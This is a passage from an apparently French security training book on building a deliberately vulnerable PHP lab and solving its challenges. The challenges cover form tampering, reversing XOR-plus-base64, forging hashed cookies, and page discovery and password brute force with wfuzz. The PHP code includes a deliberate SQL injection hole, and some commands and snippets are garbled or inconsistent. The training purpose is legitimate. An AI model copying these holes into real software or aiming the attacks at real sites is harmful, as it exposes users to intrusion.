
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/

<Directory "/usr/lib/cgi-bin">

AllowOverride None

Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch

Order allow,deny

Allow from all

</Directory>

ErrorLog ${APACHE_LOG_DIR}/error.log

# Possible values include: debug, info, notice, warn,

# error, crit, alert, emerg.

LogLevel warn

CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

Il faut à présent activer cette nouvelle configuration, désactiver la configuration par défaut et

recharger la configuration.

root@WEB1:/# ls /etc/apache2/sites-enabled/

000-default

root@WEB1:/# a2ensite conf1

Enabling site conf1.

Run ’/etc/init.d/apache2 reload’ to activate new configuration!


000-default conf1

root@WEB1:/# a2dissite default

Site default disabled.

Run ’/etc/init.d/apache2 reload’ to activate new configuration!

root@WEB1:/# /etc/init.d/apache2 reload

Reloading web server config: apache2.


conf1

root@WEB1:/#

Afin de vérifier que tout est bien configuré, nous créons un fichier test.php affichant la

configuration du serveur dans le dossier www de l’utilisateur web.

root@WEB1:/# su web

web@WEB1:/$ cd /home/web/www/

web@WEB1:~/www$ echo "<?php phpinfo(); ?>" > test.php

web@WEB1:~/www$

Nous visualisons alors dans un navigateur le résultat.

Tout fonctionne parfaitement et nous allons pouvoir passer à l’écriture de failles de sécurité à

proprement parler. Nous allons les répartir en plusieurs catégories :

Le passage des contrôles côté client.

La découverte de pages par indexation automatique.

L’attaque de formulaires par dictionnaire.

L’injection SQL.

Le passage de CAPTCHA.

2. Des protections qui n’en sont pas

a. Création de la structure du site des épreuves

Il faudrait en principe construire un site web complet et y insérer des failles. Mais nous

n’allons pas commencer à tout faire. Nous pouvons nous appuyer sur des modèles libres et

open source. Vous en trouverez de très nombreux sur : http://www.oswd.org/

Vous êtes libre de choisir le modèle qui vous plaît. Ils sont en général tous construits de façon

similaire : une CSS et un fichier HTML exemple. Nous utiliserons pour les exemples le

modèle TerraFirma. Pour copier les fichiers de l’archive dans l’arborescence de notre serveur,

nous procédons de la manière suivante :

Nous téléchargeons l’archive depuis le site sur notre machine locale.

Nous copions l’archive directement de notre machine locale dans le dossier root de

notre serveur web en passant le serveur Proxmox.

Nous faisons une extraction de l’archive dans le dossier personnel de l’utilisateur web.

Nous faisons une copie de ce dossier dans le dossier www en le renommant epreuve1.

Sur la machine locale :

root@bt:~# scp Downloads/terrafirma.zip

[email protected]:/var/lib/vz/private/100/root

Sur le serveur web :

root@WEB1:/home/web# unzip /root/terrafirma.zip

Archive: /root/terrafirma.zip

inflating: terrafirma/default.css

creating: terrafirma/images/

inflating: terrafirma/images/a1.gif

inflating: terrafirma/images/a10.jpg

extracting: terrafirma/images/a16.gif











inflating: terrafirma/images/abg.gif

inflating: terrafirma/images/pic1.jpg

inflating: terrafirma/images/pic2.jpg

inflating: terrafirma/images/spacer.gif

inflating: terrafirma/images/upbg.gif

inflating: terrafirma/index.html

inflating: terrafirma/readme.txt

http://www.oswd.org/

root@WEB1:/home/web# mv terrafirma/ www/epreuve1

Voici à quoi ressemble ce modèle :

Nous plaçons l’ensemble du code dans un dossier « epreuve1 » avant de commencer sa

modification. Nous entrons dans ce dossier.

Si nous parcourons le code source HTML de la page ci-dessus, nous constatons qu’elle est

bien décomposée en plusieurs parties, chacune étant entre deux balises <div> et avec un style

approprié. Nous pouvons changer le contenu de la page pour l’adapter à une situation que

nous voulons simuler, l’essentiel étant de pouvoir coder des failles de sécurité facilement.

Nous choisissons de modifier de façon permanente le titre, le menu et le contenu secondaire,

correspondant à la partie de la page délimitée par des balises <div> d’id

secondarycontent. Pour le contenu primaire délimité par des balises <div> d’id

primarycontent, nous appelons une fonction PHP afin de modifier celui-ci en fonction d’un

paramètre. Il faudra évidemment renommer le fichier index.html en index.php. Nous créons

un fichier fonctions.php dans lequel nous implémenterons une fonction qui va changer

l’affichage du centre de la page en fonction du paramètre qui lui est passé en argument. Cette

fonction devra aussi traiter les retours des formulaires. Il faudra ajouter un include de ce

fichier dans le fichier index.php. Nous modifions aussi le menu de la page en tenant compte

de cette organisation :

<div id="menu">

<ul>

<li><a href="index.php?m=1">Biographie</a></li>

<li><a href="index.php?m=2">Emacs</a></li>

<li><a href="index.php?m=3">Projet GNU</a></li>

<li><a href="index.php?m=4">Faits</a></li>

<li><a href="index.php?m=5">Inscription</a></li>

<li><a href="index.php?m=100">Aide</a></li>

</ul>

<div id="date">Le 15 avril 2013</div>

Nous avons décidé dans notre exemple d’écrire des pages sur Richard STALLMAN.

Voici le fichier fonctions.php. Vous remplacerez le contenu avec ce que vous voulez, bien

évidemment. Cette organisation est juste une suggestion et vous pouvez créer votre squelette

de site web comme bon vous semble. Mais dans la suite de l’écriture des épreuves, nous nous

appuierons sur la structure que nous vous avons présentée ici.

<?php

function page($type,$id)

{

if ( $type == "GET" )

{

//ici le traitement des retours GET

if ( $id == 1 )

{

// ***** page 1 *****

?>

<div class="header">

<h3>Biographie</h3>

<div class="date">20 avril

2013</div>

</div>

<div class="content">

<img src="images/pic1.jpg"

class="picA floatleft" alt="" />

<p>

Richard Matthew Stallman

(né à Manhattan, le 16 mars 1953), connu aussi sous les initiales

rms, est un programmeur et militant du logiciel

</p>

</div>

<div class="footer">

<ul>

<li

class="readmore"><a href="#">Lire la suite</a></li>

</ul>

</div>

<?php

}

}

elseif ($type=="POST")

{

//ici le traitement des retours POST

echo "à faire";

}

}

?>

Voici l’aspect que prend notre site en ayant aussi remplacé quelques images.

b. Implémentation de la première épreuve

Passons à l’écriture de l’épreuve. Dans un premier temps, nous créons le formulaire

d’inscription qui présente des limitations côté client.

<p>

<form action="index.php" id="form_rens" method="post">

<fieldset>

<legend> Fiche de renseignements</legend>

<p>

<label for="civilite">Civilité :

<select name="civilite" id="civilite">

<option value="mr" selected="selected">Monsieur</option>

<option value="mme">Madame</option>

<option value="melle">Mademoiselle</option>

</select>

</label>

</p>

<p><label for="nom">Nom : <input type="text" name="nom" id="nom"

maxlength="20"></label></p>

<p><label for="prenom">Prénom : <input type="text" name="prenom"

id="prenom" maxle$ngth="20"></label>$

<p><label for="email">Email : <input type="text" name="email"

id="email" maxlength="20"></label></p>

<input type="hidden" name="form" value="1">

<input type="hidden" name="droits" value="user">

<p><input type="submit" name="form1" value="Envoyer"></p>

</fieldset>

</form>

</p>

Nous plaçons ce code dans notre fichier fonctions.php pour qu’il soit envoyé lors de l’appel à

la page Inscription. Il faut ensuite traiter le retour du formulaire. Ce code doit vérifier que le

pirate arrive bien à modifier les éléments possibles du contrôle de type select, dépasser la

limite du nombre de caractères des champs et changer la valeur du champ caché.


{

if ( $id==1)

{

if (strlen($_POST[’nom’])>20 AND

strlen($_POST[’prenom’])>20 AND strlen($_POST[’email’])>20 AND

$_POST[’civilite’]=="$

{

echo "Bravo, vous venez de passer

les contrôles côté client.";

}

else

{

echo "Inscription validée

normalement";

}

}

}

}

Pour aider la personne qui teste ses compétences, vous pouvez fournir une aide. Le texte

pourrait être :

« Vous devez réussir à passer les limitations côté client. Pour cela, passez des champs de

grande longueur, passez votre civilité à "zzz" et devenez administrateur. »

La première épreuve est terminée, passons à la solution.

c. Solution de la première épreuve

Pour modifier les données d’un formulaire à la volée afin d’envoyer des données inattendues,

il existe plusieurs solutions, par exemple, l’utilisation d’un proxy entre votre navigateur et le

serveur. Nous aurons l’occasion d’utiliser cette technique dans d’autres épreuves. Nous vous

proposons donc ici l’altération des données à l’aide d’un module complémentaire de Firefox :

« Tamper Data ». Nous choisissons aussi d’utiliser une distribution BackTrack comme

système d’exploitation pour l’attaque de notre site web. En effet, celle-ci possède déjà un

grand nombre d’outils qui nous seront très utiles et que nous n’aurons plus à installer. Pour

installer Tamper Data, téléchargez celui-ci à l’adresse suivante :

https://addons.mozilla.org/fr/firefox/addon/tamper-data/

Vous voyez apparaître un nouvel item en bas du menu Outils de Firefox. Rendez-vous sur la

page du formulaire que nous devons affecter. Lancez Tamper Data.

https://addons.mozilla.org/fr/firefox/addon/tamper-data/

Activez la capture des données en cliquant sur Start Tamper. Quand nous validons le

formulaire, une boîte de dialogue s’ouvre nous proposant de poster directement les données,

d’annuler le post ou de passer les données à Tamper. C’est cette dernière option que nous

choisissons.Voici l’écran que nous obtenons.

Nous constatons que nous pouvons modifier toutes les données qui vont être envoyées au

serveur, y compris les en-têtes. Nous remplissons les champs du formulaire comme présenté.

Nous cliquons sur OK, et voilà, l’épreuve est validée.

d. Implémentation de la deuxième épreuve

Comme pour toutes les épreuves, nous allons partir de l’épreuve 1 et modifier les éléments

nécessaires. Nous copions donc l’intégralité du dossier epreuve1 dans epreuve2 :

root@WEB1:/home/web/www# cp -R epreuve1 epreuve2

Une forme de contrôle qui est souvent utilisée côté client, et qui ne présente pas non plus un

gros intérêt en termes de sécurité, est l’utilisation de JavaScript. Par contre, ce langage permet

une bonne amélioration de l’ergonomie des sites et il est devenu pratiquement impossible de

naviguer en désactivant JavaScript.

Nous allons créer un script nommé crypt.js dans le dossier epreuve2 dont voici la partie la

plus intéressante :

var str_crypt, str_dcrypt, frm, pwd;

function cryptage(chaine,clef)

{

var i,j,ch_crypt,clef_c;

ch_crypt="";

j=0;

for (i=0; i<chaine.length; i++)

{

clef_c=clef.charCodeAt(j);

ch_crypt+=String.fromCharCode(chaine.charCodeAt(i)ˆclef_c);

j++;

if ( j == clef.length) {j=0;}

}

return ch_crypt;

}

function valform()

{

frm=document.forms[’formjs1’];

pwd=frm.elements[’pass’].value;

if (pwd.length<=1)

{

alert("Vous n’avez pas saisi un mot de passe assez long");

return false;

}

else

{

alert("chiffrement du mot de passe");

document.forms[’formjs1’].elements[’pass’].value=encodeBase64

(cryptage(pwd,’hnc-nsc-2013’));

return true;

}

}

Ce script doit aussi avoir deux autres fonctions qui sont encodeBase64 et decodeBase64.

Nous n’avons pas mis le code de ces fonctions pour des raisons de place. Vous pouvez trouver

beaucoup d’exemples sur Internet pour réaliser celles-ci, par exemple dans le code source de

la page suivante : http://decodebase64.com/

Il nous faut à présent modifier le fichier index.php pour inclure ce code JavaScript. Nous

ajoutons la ligne suivante dans la partie <head> :

<script language="javascript" type="text/javascript"

src="crypt.js"></script>

Modifions aussi le menu en remplaçant « Inscription » par « Identification ».

http://decodebase64.com/

La dernière étape est la modification du fichier fonctions.php. Commençons par le code qui

doit être appelé quand nous cliquons sur le lien Identification.

<form onsubmit="return valform()" action="index.php" method="POST"

name="formjs1" id="formjs1"> <fieldset>

<legend> Identifiez-vous</legend>

Votre identifiant : <input type="text" name="login"><br>

Votre mot de passe : <input type="password" name="pass">


<input type="submit" id="valider" name="validr"

value="valider">

</fieldset>

</form>

Voici ensuite le code nécessaire à la validation du formulaire :

echo "<h1>Identification</h1>";

$login=$_POST[’login’];

$mdp = base64_decode($_POST[’pass’]);

$clef="hnc-nsc-2013";

$ch_dcrypt="";

$j=0;

for ($i=0; $i<strlen($mdp); $i++)

{

$car = substr($mdp,$i,1);

$clef_c = substr($clef,$j,1);

$val_car = ord($car);

$val_clef_c = ord($clef_c);

$val = $val_car ˆ= $val_clef_c;

$ch_dcrypt = $ch_dcrypt.chr($val);

$j++;

if ( $j == strlen($clef)) {$j=0;}

}

if ($ch_dcrypt=="azerty" and $login=="user") {

echo "<p>Vous êtes identifié comme utilisateur avec des

droits limités</p>";

}

elseif ($ch_dcrypt=="XdcRF5UD" and $login=="admin") {

echo "<h4>BRAVO! Vous êtes identifié comme

administrateur.</h4>";

}

else {

echo "<p>Mauvaise identification.</p>";

}

Pour cette épreuve, nous supposons que nous disposons d’une capture des trames réseau nous

permettant d’avoir le contenu du champ « pass » qui est transmis par le formulaire au serveur.

Ce mot de passe est MaoAfyhGNmk=.

Il semble que celui-ci soit chiffré. L’objectif est de remonter au vrai mot de passe. Ces

informations pourront être données à l’utilisateur dans une page d’aide lui permettant d’avoir

des informations pour résoudre l’épreuve.

e. Solution de la deuxième épreuve

Si nous inspectons le code de validation du formulaire, nous remarquons que celui-ci n’envoie

pas les données directement mais passe par l’appel d’une fonction JavaScript nommée

valform().

Il faut alors comprendre ce que fait cette fonction. Elle récupère dans un premier temps les

champs du formulaire. Ensuite, la longueur du champ « pass » est vérifiée et si elle est

supérieure à 1, le mot de passe est transmis en POST au serveur en passant par deux fonctions

auparavant :

La fonction encodeBase64(), qui fait ce qu’elle indique, un encodage base64.

La fonction cryptage(), qui prend en arguments le mot de passe et un autre champ.

Il est alors nécessaire de s’intéresser de près à cette dernière fonction. Nous voyons en

étudiant le code qu’elle réalise un chiffrement classique avec un « OU exclusif » en faisant

une rotation circulaire sur le deuxième paramètre, qui est donc la clé de chiffrement. Ce type

de chiffrement est réversible et nous pouvons donc le repasser dans la même fonction pour le

déchiffrer.

Voici les opérations que nous allons faire avec le mot de passe chiffré :

Décoder la valeur encodée en base64.

Déchiffrer avec la même clé de chiffrement que dans le script JavaScript.

Réalisons ces opérations en PHP CLI. C’est un point intéressant de PHP, celui-ci peut aussi

s’exécuter en ligne de commande. Créons le fichier decrypt.php suivant :

<?php

$mdp = base64_decode(’MAoAfyhGNmk=’);

$clef="hnc-nsc-2013";

$ch_dcrypt="";

$j=0;

for ($i=0; $i<strlen($mdp); $i++)

{

$car = substr($mdp,$i,1);

$clef_c = substr($clef,$j,1);

$val_car = ord($car);

$val_clef_c = ord($clef_c);

$val = $val_car ˆ= $val_clef_c;

$ch_dcrypt = $ch_dcrypt.chr($val);

$j++;

if ( $j == strlen($clef)) {$j=0;}

}

echo $ch_dcrypt."\n";

?>

Lançons le script en ligne de commande.

root@WEB1:/home/web/www# php5 decrypt.php

XdcRF5UD

Voilà, nous obtenons le mot de passe déchiffré.

f. Implémentation de la troisième épreuve

Dans un premier temps, copions le code de l’épreuve 1 dans un dossier epreuve3.


Nous ajoutons à la première ligne du fichier index.php le code suivant afin de passer en mode

« session » :

<?php session_start(); ?>

Cette épreuve met en place un formulaire d’identification qui fait appel à des cookies. Voici le

code à ajouter dans le fichier fonctions.php à l’emplacement où vous souhaitez afficher le

formulaire.

// ***** page 5 identification *****

if (isset($_COOKIE[’user’])) {

if

( $_COOKIE[’user’]=="f4a77acf03e969bbb2b99fee35d137fb") {

echo "<h2>Bonjour Franck, bienvenue sur votre

compte.</h2>";

echo "<br />Pas de nouvelles informations pour le

moment.";

if (isset($_COOKIE[’d’]) and

$_COOKIE[’d’]==’1d8141b215f74524ddb3a4a21d55cc9c2141bd0c’) echo

"<p>Bravo, vous venez de passer administrateur, votre clef est :

<strong>aZD4jVuu1N</strong></p>";

}

elseif($_COOKIE[’user’]=="4ffe35db90d94c6041fb8ddf7b44df29")

{

echo "<h2>Bonjour Robert, bienvenue sur votre

compte.</h2>";

echo "<br />Pas de nouvelles informations pour le

moment.";

if (isset($_COOKIE[’d’]) and

$_COOKIE[’d’]==’1d8141b215f74524ddb3a4a21d55cc9c2141bd0c’) echo

"<p>Bravo, vous venez de passer administrateur, votre clef est :

<strong>aZD4jVuu1N</strong></p>";

}

else {

echo "<h2>Utilisateur inconnu!</h2>";

}

}

else {

?>


<h3>Identification</h3>

<div class="date">20 avril 2013</div>

</div>


<form action="index.php" name="ident" id="ident"

method="post">

<fieldset>

<legend>Identifiez-vous</legend>

<p><label for="Identifiant">Identifiant :

     <input type="text" name="login"

id="login" maxlength="20"></label></p>

<p><label for="Mot de passe">Mot de passe : <input

type="password" name="passwd" id="passwd"



<p><input type="submit" name="form1" value="Valider"></p>

</fieldset>

</p>

</div>

<?php

}

Il faut encore ajouter en fin de fichier le code qui fait la vérification de l’authentification de

l’utilisateur.

//*** validation des post ***


{

if ( $id==1)

{

if ($_POST[’login’]=="Franck" and

$_POST[’passwd’]=="Zd34s5") {

setcookie("user","f4a77acf03e969bbb2b99fee35d137fb");

setcookie("d","0b20cd7f98fde6a0c65a6ff68ffdfb627f32d176");

echo "<h1>Validation d’identification</h1>";

echo " <h2>Bonjour Franck, bienvenue sur votre compte.</h2>";

echo "<br />Pas de nouvelles informations pour le moment.";

}

}

L’épreuve est en place. Il faudra quand même indiquer à l’auditeur ou au logiciel d’audit

qu’un compte existe avec comme nom d’utilisateur « Franck » et comme mot de passe «

Zd34s5 », et que l’objectif est de passer administrateur du site. Passons à la solution.

g. Solution de la troisième épreuve

Nous commençons par analyser le comportement du site. Nous nous rendons sur la page où se

trouve le formulaire d’identification et nous saisissons le compte qui nous a été donné. Si

nous cherchons les cookies qui nous ont été envoyés, nous en trouvons 3. Cette analyse des

cookies peut être facilement faite avec une extension Firefox très intéressante : Firebug. Vous

la trouverez à cette adresse : https://addons.mozilla.org/fr/firefox/addon/firebug/

Après l’installation, un petit insecte apparaît en haut à droite dans votre navigateur. Si vous

cliquez dessus, Firebug s’active ouvrant une zone en bas du navigateur. Celle-ci présente un

menu dont un item est Cookies. Voici ce que nous obtenons en cliquant sur ce menu :

https://addons.mozilla.org/fr/firefox/addon/firebug/

Nous voyons que le site nous a envoyé trois cookies : un de session et deux autres (user et d).

Nous remarquons que ceux-ci ont des longueurs différentes et qu’ils ressemblent à des

HASH. En effet, ils sont uniquement composés de chiffres et de lettres. Le cookie « user » a

une longueur de 32 caractères faisant penser à un HASH-MD5 et le cookie « d » une longueur

de 40 caractères correspondant à un HASH-SHA1. Nous allons tenter de remonter au contenu

en clair qu’ils pourraient indiquer. Il existe une multitude de sites avec des dictionnaires

immenses implémentés permettant de remonter au message en clair à partir de son HASH, par

exemple : http://www.stringfunction.com/sha1-decrypter.html

Nous avons très vite avec ces outils en ligne l’information que le cookie « d » contient le

HASH-SHA1 de « Utilisateur » et le cookie « user », le HASH-MD5 de « Franck ».

Visiblement, ces deux cookies mémorisent le nom d’utilisateur et les droits de celui-ci. Nous

calculons le HASH-SHA1 de « Administrateur » avec la commande suivante :

root@WEB1:/home/web/www# echo -n "Administrateur" | openssl dgst

-sha1

1d8141b215f74524ddb3a4a21d55cc9c2141bd0c

root@WEB1:/home/web/www#

Nous éditons le cookie « d » à l’aide de Firebug en faisant un clic droit dessus et changeons sa

valeur avec la nouvelle valeur que nous venons de calculer. Nous appelons de nouveau la

page Identification et constatons que nous sommes passés administrateurs.

Nous avons vu ici l’importance de ne pas stocker d’informations sensibles utilisées par le

serveur pour engager des actions. Les cookies doivent être utilisés avec prudence. Ceux-ci

étant du côté client, il est facile d’en modifier le contenu.

http://www.stringfunction.com/sha1-decrypter.html

3. Des pages pas vraiment cachées

a. Implémentation de la quatrième épreuve

Commençons par copier, comme précédemment, l’épreuve 1 avec tous ses dossiers et fichiers

dans un dossier epreuve4.


L’implémentation de cette épreuve est assez simple : il faut juste ajouter un test dans le fichier

fonctions.php avec un ID qui n’est pas présent dans le menu. Nous ajoutons dans la fonction

page, en dessous du test GET, le code suivant :

elseif ( $id==184 )

{

// ***** page 184 *****

?>


<h3>Bravo</h3>


</div>


<p>Vous avez trouvé la bonne page. Votre clef est :

A2dfT3BBn2e</p>

</div>

<div class="footer">

<ul>

<li class="readmore"><a href="#">Lire la suite</a></li>

</ul>

</div>

<?php

}

Il faudra indiquer comme indice que le but est de trouver une page qui n’est pas visible par un

lien dans un menu.

b. Solution de la quatrième épreuve

Si nous observons la constitution de l’URL en navigant sur différentes pages, nous

remarquons qu’un paramètre « page » est passé. Celui-ci est de nature numérique.

Nous allons tenter de parcourir en automatique les pages en faisant changer cet ID de page de

façon incrémentale. Nous pourrions écrire un script Python ou PHP, mais comme nous

sommes sur BackTrack, nous disposons d’un outil qui le fait : wfuzz.

Nous nous rendons dans le dossier adéquat de l’installation BackTrack et lançons wfuzz sans

argument afin d’obtenir des informations sur les options possibles :

root@bt:/pentest/web/wfuzz# python wfuzz.py

********************************************************

* Wfuzz 2.0 - The Web Bruteforcer *

********************************************************

Usage: wfuzz.py [options] <url>

Options:

-c : Output with colors

-v : Verbose information

-o printer : Output format by stderr

-p addr : use Proxy (ip:port or ip:port-ip:port-

ip:port)

-x type : use SOCK proxy (SOCKS4,SOCKS5)

-t N : Specify the number of threads (20 default)

-s N : Specify time delay between requests

(0 default)

-e <type> : List of available

encodings/payloads/iterators/printers

-R depth : Recursive path discovery

-I : Use HTTP HEAD instead of GET method (No

HTML body responses).

--follow : Follow redirections

-m iterator : Specify iterator (product by default)

-z payload : Specify payload

(type,parameters,encoding)

-V alltype : All parameters bruteforcing

(allvars and allpost). No need for FUZZ keyword.

-X : Payload within HTTP methods (ex: "FUZZ

HTTP/1.0"). No need for FUZZ keyword.

-b cookie : Specify a cookie for the requests

-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")

-H headers : Use headers

(ex:"Host:www.mysite.com,Cookie:id=1312321&user=FUZZ")

--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ"

or "domain\FUZ2Z:FUZZ"

--hc/hl/hw/hh N[,N]+ : Hide resposnes with the

specified[s] code/lines/words/chars (Use BBB for taking values

from baseline)

--hs regex : Hide responses with the specified regex

within the response

Keyword: FUZZ,FUZ2Z wherever you put these words wfuzz will

replace them by the payload selected.

Example: - wfuzz.py -c -z file,commons.txt --hc 404 -o html

http://www.site.com/FUZZ 2> res.html

- wfuzz.py -c -z file,users.txt -z file,pass.txt --hc 404

http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z

- wfuzz.py -c -z range,1-10 --hc=BBB

http://www.site.com/FUZZ{something}

More examples in the README.

root@bt:/pentest/web/wfuzz#

L’option qui va nous intéresser est -z range,d-f. Effectuons un premier essai :

root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z range,1-10

--hc=404 http://192.168.2.50/epreuve4/index.php?page=FUZZ

/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:

object.__init__() takes no parameters

itertools.product.__init__(self, *i)

********************************************************


********************************************************

Target: http://192.168.2.50/epreuve3/index.php?page=FUZZ

Payload type: range,1-10

Total requests: 10

==================================================================

ID Response Lines Word Chars Request

==================================================================

00001: C=200 109 L 296 W 3507 Ch " - 1"

00002: C=200 112 L 459 W 4702 Ch " - 2"

00003: C=200 115 L 685 W 6142 Ch " - 3"

00004: C=200 92 L 160 W 2105 Ch " - 5"

00005: C=200 111 L 267 W 3374 Ch " - 4"

00006: C=200 92 L 160 W 2105 Ch " - 6"

00007: C=200 92 L 160 W 2105 Ch " - 8"

00008: C=200 92 L 160 W 2105 Ch " - 7"

00010: C=200 92 L 160 W 2105 Ch " - 10"

00009: C=200 92 L 160 W 2105 Ch " - 9"

Nous observons que lorsque nous appelons une page qui n’existe pas, nous avons un retour

faisant 2 105 caractères. Nous allons donc masquer cette réponse pour alléger l’affichage et

étendre la plage balayée.

root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z range,1-300

--hc=404 --hh=2105 http://192.168.2.50/epreuve4/index.php?page=FUZZ




********************************************************


********************************************************

Target: http://192.168.2.50/epreuve4/index.php?page=FUZZ

Payload type: range,1-300

Total requests: 300

==================================================================


==================================================================

00001: C=200 112 L 459 W 4702 Ch " - 2"

00002: C=200 109 L 296 W 3507 Ch " - 1"

00003: C=200 115 L 685 W 6142 Ch " - 3"

00004: C=200 111 L 267 W 3374 Ch " - 4"

00102: C=200 105 L 195 W 2852 Ch " - 100"

00180: C=200 105 L 192 W 2808 Ch " - 184"


Voilà, nous venons de découvrir une page dont l’ID est 184 qui existe et n’est pas référencée

dans les menus.

4. Mieux vaut avoir un mot de passe fort

a. Implémentation de la cinquième épreuve

Comme pour toutes les autres épreuves, nous copions arborescence du dossier de l’épreuve 1

dans un dossier epreuve5. Nous plaçons dans le fichier fonctions.php une page qui construit

un formulaire d’identification.

elseif ( $id==5 )

{

// ***** page 5 identification *****

?>


<h3>Identification</h3>


</div>


</p>

<form action="index.php" name="ident" id="ident" method="post">

<fieldset>

<legend>Identifiez-vous</legend>

<p><label for="Identifiant">Identifiant :

     <input type="text" name="login"

id="login" maxlength="20"></label></p>

<p><label for="Mot de passe">Mot de passe : <input

type="password" name="passwd" id="passwd"



<p><input type="submit" name="form1"

value="Valider"></p>

</fieldset>

</p>

</div>

<?php

}

Il faut ensuite ajouter le test de validation de la bonne identité avec le bon mot de passe.


{

if ( $id==1)

{

if ($_POST[’login’]=="admin" and

$_POST[’passwd’]=="cynthia") {

echo "<h3>Validation d’identification</h3>";

echo "<p>Bravo votre clef est Dc7854PxF6</p>";

}

else {

echo "<p>Erreur d’identification</p>";

}

}

}

Le but de cette épreuve est de réussir à s’identifier en utilisant une attaque par dictionnaire sur

le formulaire.

b. Solution de la cinquième épreuve

Dans cette épreuve, nous nous trouvons face à un formulaire. Nous savons qu’il existe un

compte administrateur, dont généralement le nom d’utilisateur est « admin » ou «

administrateur ».

Nous voulons tester si cet administrateur n’a pas utilisé un mot de passe simple. Pour cela,

nous allons faire une attaque par dictionnaire. Mais avant, il faut bien connaître les champs de

notre formulaire. Nous pouvons bien entendu lire le code source de celui-ci, mais il existe des

outils qui le font pour nous et nous affichent l’organisation des champs de façon plus lisible.

L’extension « Web Developer » pour Firefox nous offre la possibilité d’afficher les détails des

formulaires. Vous pouvez trouver ce module ici :

https://addons.mozilla.org/fr/firefox/addon/web-developer/

Après installation, une nouvelle barre d’outils est présente. Nous cliquons sur View form

information du menu Forms et trouvons les informations suivantes :

https://addons.mozilla.org/fr/firefox/addon/web-developer/

Pour conduire notre attaque, nous allons encore utiliser wfuzz. Voici la ligne de commande

utilisée :

root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z

file,wordlist/general/medium.txt --hc 404 -d

"login=admi&form=1&passwd=FUZZ"

http://192.168.2.50/epreuve5/index.php




********************************************************


********************************************************

Target: http://192.168.2.50/epreuve5/index.php

Payload type: file,wordlist/general/medium.txt

Total requests: 1660

==================================================================


==================================================================

00001: C=200 94 L 168 W 2272 Ch " - 00"

00002: C=200 94 L 168 W 2272 Ch " - 0"

00003: C=200 94 L 168 W 2272 Ch " - 01"

00004: C=200 94 L 168 W 2272 Ch " - 03"

00005: C=200 94 L 168 W 2272 Ch " - 02"

00006: C=200 94 L 168 W 2272 Ch " - 1"

00007: C=200 94 L 168 W 2272 Ch " - 10"

00008: C=200 94 L 168 W 2272 Ch " - 100"

00010: C=200 94 L 168 W 2272 Ch " - 20"

00011: C=200 94 L 168 W 2272 Ch " - 1000"

00012: C=200 94 L 168 W 2272 Ch " - 200"

00009: C=200 94 L 168 W 2272 Ch " - 123"

Nous voyons défiler toutes les requêtes POST avec tous les mots de passe testés. Mais

comment savoir celui qui est le bon ? C’est probablement celui qui va renvoyer une page

différente, donc une page qui ne comporte pas 2 272 caractères. Nous reprenons notre ligne de

commande en cachant les retours à 2 272 caractères.

root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z

file,wordlist/general/medium.txt --hc 404 --hh 2272 -d

"login=admin&form=1&passwd=FUZZ"

http://192.168.2.50/epreuve7/index.php




********************************************************


********************************************************

Target: http://192.168.2.50/epreuve7/index.php

Payload type: file,wordlist/general/medium.txt

Total requests: 1660

==================================================================


==================================================================

00414: C=200 94 L 172 W 2316 Ch " - cynthia"


Et voici notre mot de passe découvert.

5. L’accès aux bases de données

a. Implémentation de la sixième épreuve

Pour cette épreuve, nous allons avoir besoin de créer une base de données. Celle-ci va

contenir des comptes utilisateurs et une information, la clé de l’épreuve, dans une table. Cette

dernière information ne doit normalement pas être accessible à l’utilisateur. La trouver sera le

but de l’épreuve.

Commençons par créer la base (livres), les tables (livres et clef_epreuve) et insérer des

données. Voici les commandes SQL qui vous permettront de la reproduire.

CREATE TABLE `clef_epreuve` (

`clef` varchar(20) DEFAULT NULL

) ENGINE=MyISAM DEFAULT CHARSET=latin1;

INSERT INTO `clef_epreuve` VALUES (’As81Cfoab4’);

CREATE TABLE `livres` (

`ref` int(11) DEFAULT NULL,

`titre` varchar(30) DEFAULT NULL,

àuteur` varchar(30) DEFAULT NULL

) ENGINE=MyISAM DEFAULT CHARSET=latin1;

INSERT INTO `livres` VALUES (342,’ PHP5’,’Damien Seguy,Philippe

Gamache’),(426,’Ethical Hacking’,’ACISSI’),(532,’seaux’,’Andrew

Tanenbaum’);

Il est nécessaire dans ce type d’épreuve de bien limiter les droits de l’utilisateur qui sera

utilisé par les scripts PHP. Ici, un droit de lecture des données de la base est suffisant. Entrons

dans l’interpréteur MySQL et créons cet utilisateur :

mysql> GRANT select ON livres.* TO ep6@localhost IDENTIFIED BY

’acissi!2011’;

Passons à la modification des scripts PHP. Comme pour toutes les autres épreuves, nous

avons copié la structure de dossier de l’épreuve 1 dans le dossier epreuve6.

Nous implémentons dans le fichier fonctions.php un formulaire permettant la recherche d’un

livre en fonction de sa référence.

elseif ( $id==5 )

{

// ***** page 5 rechercher livre *****

?>


<h3>Livres</h3>


</div>


<p>Vous pouvez saisir la référence d’un livre pour

déterminer s’il est disponible.</p>

<p>

<form action="index.php" method="post" id="sc">

<input type="text" name="q" id="q" value="" class="q"/>


<input type="submit" name="submit" id="submit" value="Rechercher"

/>

</form>

</p>

</div>

<?php }

Il faut ensuite ajouter dans ce même fichier le code permettant d’afficher le résultat de cette

recherche.

//*** traitement du POST ***


{

if ( $id==1)

{

echo "<h3>Résultat de la recherche</h3>";

$con=mysql_connect( $server=’localhost’, $username=’ep6’,

$password=’acissi!2011’);

$db=mysql_select_db(’livres’);

$ref=$_POST[’q’];

$requete=’SELECT * FROM livres WHERE ref=’.$ref;

$result=mysql_query($requete);

if ( $result ) {

$row=mysql_fetch_array($result, MYSQL_ASSOC);

if ( $row ) {

echo "<p>Ce livre existe dans notre base</p>";

echo "<p>Titre : ".$row[’titre’]."</br>";

echo "Auteur : ".$row[’auteur’]."</p>";

}

else {

echo "<p>Ce livre n’existe pas dans notre base</p>";

}

}

else {

echo "Erreur";

}

}

}

C’est fini, l’épreuve est prête.

b. Solution de la sixième épreuve

Pour commencer, nous étudions le comportement du formulaire de recherche proposé. Nous

faisons une recherche normale avec un livre qui existe et avec un livre qui n’existe pas. Quand

